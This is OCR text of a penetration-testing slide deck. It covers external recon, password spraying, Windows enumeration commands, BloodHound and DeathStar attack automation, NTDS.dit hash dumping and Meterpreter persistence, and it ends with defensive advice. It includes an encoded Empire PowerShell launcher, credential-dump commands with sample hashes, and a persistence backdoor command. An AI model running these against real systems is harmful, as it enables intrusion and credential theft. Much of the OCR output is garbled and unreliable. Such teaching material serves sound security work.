v, 54.2284 223279

31.1030
28.0086

n
o
-
o
U
v
wn

4.5263 4.0876

Dirble | Dirsearch
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Hacked By Slayerl4

Sony Hacked/Leaked emails thread 1

Evolve is the world’s first dedicated Security Automation
platform

Passive solution

offers the Evolve Marketplace with over 350 specialist
security automation workflows

Combination of automated reconnaissance and active
attacks with intelligent and safe exploitation against your
publicly accessible infrastructure

Automatically collect and generate intelligence about your
organisation, employees and systems that are being used
by attackers to compromise your organisation

Finds out exposed services and corresponding exploits

Minimises the time it takes to detect critical risks and
security weaknesses



Password Leaks

© M > |3 m

@ LEAKSIFY

(O

Credentials Search
Engine

Check if you have an account that has been compromised in a da(@

breach.

Get Started —

Largest breaches
772,904,991 Collection #1 accounts
763,117,241 Verifications.io accounts
711,477,622 Onliner Spambot accounts
593,427,119 Exploit.In accounts
457,962,538 Anti Public Combo List accounts

393,430,309 River City Media Spam List
accounts

agmyspace 359,420,698 MySpace accounts

~—oNetase 234,842,089 NetEase accounts

OB

164,611,595 LinkedIn accounts

161,749,950 Dubsmash accounts

Home

Recently added breaches

¢ 15,453,048 Lumin PDF accounts
AW
KIWI 4,606 KiwiFarms accounts
e 396,533 Minehut accounts
VoID 95,431 Void.to accounts

J) 36,395,491 Poshmark accounts

. 89,388 Mastercard Priceless Specials
accounts
‘xf(cﬂ’ 561,991 XKCD accounts
3 478,824 Coinmama accounts

Chegg 39,721,127 Chegg accounts
i“ 749,161 Cracked.to accounts

Stolen usernames and passwords leaked on the internet
are the leading way companies are hacked.

Sites get owned every now and then
1.4 Billion passwords got leaked as part of Collection #1
There are heaps of password leak services available online

Attackers sell these information on Dark Web or on
torrent site for really cheap price

Over the past year the size of password dump is getting
bigger and bigger

One should start using offline password manager as online
password manager tends to have vulnerability quite often



* Monitors over 700 Billion compromised accounts from thousands of
security breaches from over the past decade

* Evolve automatically monitors compromised personal and corporate
accounts

* Notifies about the breach via email



< C @ https;//console.evolve.threatintelligence.com/#/app/s¢ ance/list ¥ Incognitc @ o Every time the
compromised account
details is detected for the
setup service Evolve will
send an automated emails
notifying an end users

Compromise Account Search

Security Breach - Collection #5 °



https://www.youtube.com/watch?v=InK1ylqU2EE

() sitecore

Welcome to Sitecore

Sign in with your Firm
php credentials

Welcome to phpMyAdmin

Language
Email

English

Password

Log in @

Username:

Password:

Copyright © 2014 Al rights reserved.
The Req I .
" —

Disclaimer | Supported Browsers

User:
Password:

Remember me on this computer

Comments/5u
Site Map

Work Reguests

Admin Portal

ions



What do we know about a target so far?

._wve@

* Office and Organisation culture

* Potential employees

 Admin, VPN & Email portals exposed . \
to the Internet

* Most of the sub-domains

* Username patterns

* Brief idea about password policy



Password Spraying

e Mail Snipper

= ALY
P5 C:htemp= Invoke-DomainPasswordspray -UserList .husers.txt -Password 123456 -Verbose
=] Using .M“users.txt as userlist to spray with

=] Warning: Users will not be checked for lockout threshold.

(*] The domain password policy observation window 15 set to 30 minutes.

=] Setting a 30 minute wait in between sprays.

Confirm Password Spray

Are wou sure you want to perform a password spray against 7 accounts?
Y] Yes [N] No [?] Help (default iz "¥"): ¥

Passzword spraying has begun with 1 passwords

This might take a while depending on the total number of users

Mow trying password 123456 against 7 users. Current time is 9:28 PM
[*] Writing successes to

=] SUCCESS! User:Administrator Password:123456

hAS

||-"

[*] SUCCESS! User:spot Password:123456
[*] SUCCESS! User:spotless Password:123456
[*] Password spraying is complete

e Atomizer

ddos@DESKTOP-NT4IE63:~/SprayingToolkit$ python3 atomizer.py -h

Usage:
atomizer (lync|owa) <domain> <password> --userfile USERFILE [--threads THREADS] [--debug]
atomizer (lync|owa) <domain> --recon [--debug]

atomizer -h | --help

atomizer -v | --version
Arguments:

domain target domain

password password to spray

Options:
-h, --help show this screen
-v, --version show version . .
-u, --userfile USERFILE file containing usernames (one per line) Other tOOIS' Metasplort BurpSurte
-t, --threads THREADS number of concurrent threads to use [default: 3] ’
-d, --debug enable debug output

--recon only collect info, don't password spray



* Lack of two factor authentication (2FA)

* Administrative portals exposed to the Internet
* Weak P@sswOrd policy

e Default Passwords

* Weak Egress Filtering



Internal Pentest



* Making use of already installed applications and tools on the
compromised hosts to perform malicious activities

* Using such method attacker does not need to create new files on the
disk and hence avoiding the detection by hiding in a sea of legitimate
processes.

* LOLBAS — LOLBAS is a curated list of Living Off The Land Binaries and
Scripts.


https://github.com/LOLBAS-Project/LOLBAS-Project.github.io

systeminfo

net view

net view /domain
tasklist /v
gpresult /z
netstat -nao
ipconfig /all

arp —a

net share

dir
%userprofile%\Desktop\*.*

net use

net user administrator

net user /domain

net user administrator /domain
tasklist /fi

dir %systemdrive%\Users\*.*

dir
%userprofile%\AppData\Roaming\
Microsoft\Windows\

Recent\*.*

reg query
\"HKCU\\SOFTWARE\\Microsoft\\
Windows\\

hostname

whoami

winver

ipconfig -all

ping www.google.com
qguery user

net user

net view /domain

CurrentVersion\\Internet
Settings\"

tasklist /svc
netstat -ano | find \TCP\



Lateral Movement

* Pwdump

* Procdump
 Tasklist

* Taskkill
 RDP

* PsExec

* PowerShell
 SMB

* Net share




BloodHound/SharpHound

* BloodHound uses graph theory to reveal
the hidden and often unintended
relationships within an Active Directory
environment.

* BloodHound v oA X

mn
8
=
=
-1

I
E\# I

2 i e, o
% :
o g $ apt-get install bloodhound
EW\ .. $ neo4j console
v
$ bloodhound
s

Database URL — bolt://127.0.0.1:7687
. Username — neodj
Password — your password

i

Six Degrees of Domain Admin : https://www.youtube.com/watch?v=Ixd2rerVsLo


https://github.com/BloodHoundAD/BloodHound

DeathStar

(Empire: 1 » listeners
Hame Modul e Host DelausJitter kKillDate
DeathStar http https: /7192, 168. 18. 3: 7654 5/8.8

(Empire: 1 » launcher powershell DeathStar

powershell -noP -w 1 -enc  WwBSAEUARZgBdACAROOBTAFMAZOBLAGI ABAESAC4ARWEBF AHORYABZAFARROACACCAUWBSAHMACAE ] AGBEALGBNAGEAbOBhAGCAZ 0BT AGURLGBBACAAN0E IAHOABWELAG
AEKAZOBsAGOAKARNAGERBOBzAGKASOBUAGKADABGAGERaNBsAGURZARNACWA JwBORGEAboBORHURY gBsAGKAYWASAFMAdABRAHORA0E jACCAKOAURFMAZOBURF Y AY OEMAFUAROARCACOAbGE 1AGWABARSA
NAGEAbgBhAGCAZOBSAFBR0gRGAEUAWABOREUARYwEBBADEAMARWAEMATWEORF OASOBORHUARZORSADARDWAKAF cAOWASAE4RZOB3ACEATWE] AEcAZOBDAHORT ABTAF KACcWBBAGURTOAURE 4RZ0BURCARVWE]
AgRE4ARVARGADY AL gA=ADsAT ABXAEBAYWAZADOADWAGAF ORcgBpAGOAZOBURHOALWASACAAMARTACARCoBZADOAMOR=AC4AMARPACAREBRBRAGSAZ0RQRECAZOE j AGSAbwARADsAkwBT AHk AcwBBAGUARLOA
gBDAGUACoBBEAGKAZgBpAGMAY OBBAGURYoBhAGWAa0BKAGERIABPAGERbOEDAGEALAESAGI AYDE jAGSAT ARSACARewAKAHOAC OB IAGUARTOR7ACOAdWE jAC4ASAE ] AGERRABFAF I AUWAUAEERZABEACORJw
bOARURE4AROEBUAC 4RVWE] AE T AUgBFRHEAYOEF AHMAJABAADoROQEEREUAZgBEAF UAT ABBAF cAZOECAF ARUgBYAF gAlOR7ACOAYWEDAC4AUARBYRE BR=ABSAC4A0WBSAGURRABF AG4AdAB pRGEAT RBZACARP
AROEmMAGERYOBsAHOAT gB 1 AFOAdWEPAF [ ASwBDAF I AROBEAGUARbGBUREKAY OBMAFMACWAKAESAPOBLAFMAe 0BzAHORROBNACARVABF AF gAdAAUAREURT aBDARESAZABJAE 4AZ2wBdRDoRDQBEAFMANWE JREKA
sAMABFRECAL gEzADI ASAB 1ADsATARNACKAOwAKAF TAPOBYACOARARSACOASWASACOANOBUAGCALUWATACOAUWASADAAL gAuADT ANOA 1ADsAMARUAC4AMaR LRDUATAAL AHsAJABKADBAK ARKREoRKWAKAFM
CwAJABTAF sHJABKAFBAPORKAFTMALWAK AEoRXORsACOAUWBDACOAXWBdAHBROWAKAEDOARTAR] AHsAJAB JADEAK ARKAEKAKWA=ACKAJORURDUANGA7ACORSAASACQAJABI ACSAJABTAF sRJABJAFBAKOAL AD
AFBALOBCAF gAbwBUACORUWBEACORJABT AF sAJABJAF BRKwWAK AFMAkwAKREQAXOApACUAMaA 1IADY AXOB9AHBA0WAK AHCAYwAUREQARZOBRAEQARZOBSAHMAL gBBRENRZARCACT AlwBvAGEAawEBpAGLUART gAsA
YAF oAUwBnADBART aRpADsAJABzAGURCoASACCAaABEAHOACAB zADoRLwAVADERDOAYACAAMORZADOAL gA=ADAARL gAzADoANWAZADUANARNADsAJABBADERJuRYAGERZAB tAGKAboRVAGCAZOBBEAC4ACABD
BBHEkHDwHkHEkHdgHBHEQHiHBhHFDHYQBbHDHHLgHuHDMHHDH?HEDHZHBBHFQHYQHBHEQHZHBhHFDHYQBbHDQHLgHUHEQHRHBhHFDHQDHuHGwHZQBDHECHdHBDHFBHDthHGDHTmBDHG4HNUBDHEgHYDB
(Empire: 1oy

DeathStar is a Python script that
uses Empire’s RESTful API to
automate gaining Domain Admin
rights in Active Directory
environments using a variety of
techniques.

DeathStar demonstrates that
automating obtaining Domain
Admin rights in an Active Directory
environment is a clear possibility
using existing open-source toolsets.



* GoFetch is a tool to automatically exercise an attack plan generated by the
application.

* GoFetch first loads a path of local admin users and computers generated by BloodHound and
converts it to its own attack plan format. Once the attack plan is ready, GoFetch advances towards
the destination according to plan step by step, by successively applying remote code execution
technigues and compromising credentials with Mimikatz.

* GoFetch has two different versions:
* Chain reaction
* One computer to rule them all

. (In action)



https://github.com/BloodHoundAD/BloodHound
https://github.com/GoFetchAD/GoFetch
https://www.youtube.com/watch?v=5SpDAxUx7Uk&feature=youtu.be
https://www.youtube.com/watch?v=dPsLVE0R1Tg

AngryPuppy

* ANGRYPUPPY is a tool for the Cobalt Strike
framework, designed to automatically parse
and execute BloodHound attack paths.

* ANGRYPUPPY - BloodHound Attack
Automation in Cobalt Strike

ANGRY:DOG:



https://www.youtube.com/watch?v=yxQ8Q8itZao

NTDS.DIT — NTLM Hashes

rootgkal i=/Desktop/CrackMapExec-2, 3¢ python crackmapexec.py 192.168.163.108 -u pc -p P@sswOrd]l -d insecurs.coa --ntds drsuapd
10-689-2016 16:17:25 SHB 192.168.160.10G:445 DC1 [*] Windows 6.3 Build 9660 (name:DCl1) (demain:insecure.com)

10-99-2016 16:17:25 SHB 152.168.190,160:445 DCI [*] Logln successful insecurs,com\pe :P@sswinrdl

10-85-2016 16:17:26 SHE 192.168.166,1603:445 DC1 [+] Dusping NTDS.dit secrets using the DRSURPI method (domain\uid:rid:lmhash:nthash)

10-89-2016 16:17:26 SHB 192.168.160.100:445 DCI Administrator:500: asd3b435051404ecaadibd3Sh514Mee: e19ccf75ee54e06b0605907af 13cefd2: 1

16-69-2016 16:17:26 SHB 192.168,106,160:445 DC1 Guest:501:aad3435b51404eeaad3b435b5146406: 31d6CTed0163e93 107 35N 7e0cH89¢H: & &

10-89-2016 16:17:26 SHE 192.168.166,160:445 DC1 krbtgt: 562! aad3b435b51404ecand Sb43505 140401 8232854081 94ace 1 170546 7dFO3dS91 11

10-85-2016 16:17:26 SHB 192.168.160.100:445 DC1 insecure.com\pc: 1104: aad3b43505 1404 c8ad3b435b5 140Mee: ae974876d974abd 805098 %9ebead868465 1 ¢
16-89-2616 16:17:26 SHB 152.168.166.166:445 DC1 insecure.com\victimone: 1106: 2ad30435b51404eeaad3b435b514840e: 019 T75ee54e06b06a5907aT 13cer42: ; :
10-69-2006 16:17:26 SHE 152.168.160.163:445 OC1 insecure.com\victimtwor 11071 2ad30435b51404ceaad3ba 35051404001 e19cc T 75ee5de06b06a5907af 1 3cef421 1
10-69-2016 16:17:26 SHB 192.168.160.100:445 DC1 insecure.com\victimthree: 1108: aad3b435051404ecaadibd35b5 1dMeei e 19ccf75ee54c06bB6a5907af 13cefd2:i 1
16-69-2016 16:17:26 SHB 192,168.166,168:445 DC1 insecure.com\victimfour: 1169: 3ad3b435b5140deeand3b435051404¢ee e 19ccT750e54606006a5%07ar I3car42: & :
10-69-2016 16:17:26 SHE 192.168.166,103:445 DC1 DC1$: 16011 2ad30435b51404ceaad 304350514040 d919aCT6762223ed209%cIcaldc 1739081 1 1

10-89-2016 16:17:26 SHE 192.168.160.100:445 DC1 VICTINLI$: 1105 aad3b435b51484ecaadibe3505 140dee: F76417022cedccOf03824ebad31eS0d5 1 11

rootekallz=/impacket/exaples? python 8¢ retsdump oy ~ntds /root/Desktop/AD-FAles/ntds, dit -system /root/0aekTop/AD-FAles/SYSTEM -cutputTile reeult local
Inpacket ¥0.9,16-dev - Copyright 2002-2016 Core Security Techmologies

(‘l Target system bootKey: Oxe9f18e7515018d:04695£1926b3e743d
{*] Dumping Domain Credentials (domain‘\udd:rid:lmhash:nthash)
{*] Ssarc for peklList, be patient
(*] FEX 2 0 and dec rypted: 88b73dféccibadfald2cs2d6laTenia?
{*] Reading and decrypting haches from /root/Desktop/AD-Files/ntds.dit
Adsindstrator 500! aad304350514040000030435051 83400 1 0190 C IT756a5400000625907ar 1 2card2: 1 !
GUast 1501 1 aadAI5D51 404eeard DATTVS 146966 1 3105 14601 608931 LT3 SHI766c089¢ D2 1 2
DC1$:1601 168930435051 404eeand 4TS5 1 4046 1 bbPe 76 3259¢ S85LeZ3 16 1267953012252
Krb1gn:S02: 85330435051 404e0asd ATSHS 1 404 ee 1 8AT2ES068 M aee L L TOSU46¢ 741030595 1 ¢
insacure.com\pe 1164 1 aad3bA3C051 4640000034 3505 146400 01 0¢ ¢ FTSeS 400600645007 I 3cafa2: :
VICTIMI$: 1105:20d3b435051 404005ad 30435651 40400 : F76417822cedcc O fO3E240bad 3105005 ::
1*] Kerberos keys from /root/Desktop/AD-Files/ntds.dit
DC1$ 1005284 -cts-hmac -shal - 961 12263 105d6c B0 T80 1851 29b3bc 77280 12551901 045 2405042%04ddB 29428
DC1$:ass123-cts-heac mn-ss-«meomsnolasefosazmm .
DC1$ 055 cbe -5 : 601 6bc 51 sBasds68 ! 1 ) § ! )
Krbtgt 1 assZSh «c te - hmac «shal - 95 : 6070406 TEE1 15223200041 173246600297 45024307836 13a1¢ 3304010167015
Krbtot :as i 23-< ta-heac -shal -95 mmme«s&wmossfcumav ‘ |
Krbtgt icdee-cbe -adS: fbSArEdaS6decSd 18 ] 4
insacure.con\pe i 808256 -cte-hmsc -ohal -96: 1952 FcdA 0T feBE 0848606020060 7 X be o BIBAS 11 20050¢ 76
insecure.com\pe i 805128 -cte-hmac -ahal -96:afc FFISS2¢ 19006481 d5 feeefS0c32¢3
insecure.com'\pc ides-cbe -nd5:91d673a fleSe32f7
VICTIML§: 205296 ~cts-heac -shal -96 : 3d9acab34 30043 M7 d5 0144 L dabac 49193526954 288201 745 75 1 0 daBSes T fd
VICTIMI$ 295128 ~cts-hmac »shal -96 1e66bABbeE e Sc9c2d1 7151 fa72bal
VICTIMIS 105 < -ud5 1 38353243 149¢53288
'] Cleanirg up. ..



 FTP

» 7zip / WIinRAR encrypted files

* Telnet

* WinSCP

* wget

* SSH

* Exposing local server to the Internet
 Curl

« SMB

* Using highly trusted domains such Gmail, GitHub, Twitter etc as command
& Control server to perform exfiltration



Persistence Mechanism

e Bitsadmin

terpreter > run persistence -h

] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
] Example: run post/windows/manage/persistence_exe OPTION=value [...]

° /x:r' terpreter Script for creating a persistent backdoor on a target host.

TIONS:

* SC -A

» COM object Hijacking | ="

-T <opt>

e Task Schedular X

-1 <opt>
-p <opt>
-r <opt>

Automatically start a matching exploit/multi/handler to connect to the agent
Location in target host to write payload to, if none %TEMP% will be used.
Payload to use, default is windows/meterpreter/reverse_tcp.

Automatically start the agent on boot as a service (with SYSTEM privileges)
Alternate executable template to use

Automatically start the agent when the User logs on

Automatically start the agent when the system boots

This help menu

The interval in seconds between each connection attempt

The port on which the system running Metasploit is listening

The IP of the system running Motasplgit listening for the connect back

lmgngnLglgg > run persistence -X -p 8081 -r 192.168.1.133 -i 5

Iﬁétélling into autorun as HKLM\Software\Microsoft\windows\CurrontVersion\Run\cUquzoACMfGiZM
Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cUNbazoACMfGiZM



Does your EDR solution have tamper protection?

Check folder permissions and see if you can take advantage of any misconfiguration

TAKEOWN [/S system [/U username [/P [password]]]]
/F filename [/A] [/R [/D prompt]]

Description:
This tool allows an administrator to recover access to a file that
was denied by re-assigning file ownership.

Modify, Disable or Delete files related to EDR solutions and agent will not be able to talk
the collection server

Look for registry key values related to particular EDR solution

DerbyCon 2019 - Testing Endpoint Protection How Anyone Can Bypass Next Gen AV by
Kevin Gennuso


https://www.youtube.com/watch?v=LDG0fv8HcCU

Have MFA on every single portal exposed to the Internet (0365, OWA, VPN, MDM
and Citrix)

Do not share seed files with the users

Do not expose the Administrative portals to the Internet (VPN and Whitelist IPs)

Make sure there are no holes in the Firewall (Do not expose SMB to the Internet)

Improve password policy



Application Whitelisting — Software Restriction Policies

Disable LLMNR & NBT-NS (Responder, Inveigh & Metasploit)

Lack of Network Segmentation

|Identify and map digital assets, including data, systems, and applications, across
the business value chain.



HIS]ISITHE END OF THE
RRESENTATION




